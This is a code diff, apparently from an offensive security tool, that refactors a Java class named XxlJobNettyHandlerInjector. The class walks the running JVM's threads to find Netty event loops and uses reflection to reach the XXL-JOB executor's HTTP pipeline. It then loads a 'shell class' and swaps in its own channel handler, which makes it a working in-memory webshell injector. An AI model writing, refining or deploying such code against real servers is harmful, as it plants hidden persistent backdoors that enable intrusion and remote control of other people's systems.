@@ -38,16 +38,8 @@ public String getBase64String() throws IOException {
3838 }
3939
4040 public XxlJobNettyHandlerInjector () {
41- Object context = null ;
4241 try {
43- context = getContext ();
44- } catch (Throwable e ) {
45- msg += "context error: " + getErrorMessage (e );
46- }
47- try {
48- handlerClass = getShellClass (context );
49- msg += "context: [" + context + "] " ;
50- inject (context );
42+ inject ();
5143 msg += "[/*] ready\n " ;
5244 } catch (Throwable e ) {
5345 msg += "failed " + getErrorMessage (e ) + "\n " ;
@@ -60,7 +52,7 @@ public String toString() {
6052 return msg ;
6153 }
6254
63- private Class <?> handlerClass ;
55+ private static Class <?> handlerClass ;
6456
6557 @ Override
6658 protected void initChannel (SocketChannel channel ) throws Exception {
@@ -94,26 +86,28 @@ private Class<?> getShellClass(Object context) throws Exception {
9486 }
9587 }
9688
97- public Object getContext () throws Exception {
89+ public void inject () throws Exception {
9890 Set <Thread > threads = Thread .getAllStackTraces ().keySet ();
9991 for (Thread thread : threads ) {
100- if (thread == null
101- || !thread .getName ().contains ("nioEventLoopGroup" )) {
102- continue ;
103- }
104- Object target = getFieldValue (getFieldValue (getFieldValue (thread , "target" ), "runnable" ), "val$eventExecutor" );
105- if (target .getClass ().getName ().endsWith ("NioEventLoop" )) {
106- HashSet <?> set = (HashSet <?>) getFieldValue (getFieldValue (target , "unwrappedSelector" ), "keys" );
107- Object keys = set .toArray ()[0 ];
108- return getFieldValue (getFieldValue (keys , "attachment" ), "pipeline" );
92+ if (thread != null && thread .getName ().contains ("nioEventLoopGroup" )) {
93+ Object target ;
94+ try {
95+ target = getFieldValue (getFieldValue (getFieldValue (thread , "target" ), "runnable" ), "val$eventExecutor" );
96+ if (target .getClass ().getName ().endsWith ("NioEventLoop" )) {
97+ HashSet <?> set = (HashSet <?>) getFieldValue (getFieldValue (target , "unwrappedSelector" ), "keys" );
98+ if (!set .isEmpty ()) {
99+ Object keys = set .toArray ()[0 ];
100+ Object pipeline = getFieldValue (getFieldValue (keys , "attachment" ), "pipeline" );
101+ Object embedHttpServerHandler = getFieldValue (getFieldValue (getFieldValue (pipeline , "head" ), "next" ), "handler" );
102+ handlerClass = getShellClass (embedHttpServerHandler );
103+ setFieldValue (embedHttpServerHandler , "childHandler" , this );
104+ return ;
105+ }
106+ }
107+ } catch (Exception ignored ) {
108+ }
109109 }
110110 }
111- return null ;
112- }
113-
114- public void inject (Object pipeline ) throws Exception {
115- Object embedHttpServerHandler = getFieldValue (getFieldValue (getFieldValue (pipeline , "head" ), "next" ), "handler" );
116- setFieldValue (embedHttpServerHandler , "childHandler" , this );
117111 }
118112
119113 @ SuppressWarnings ("all" )
0 commit comments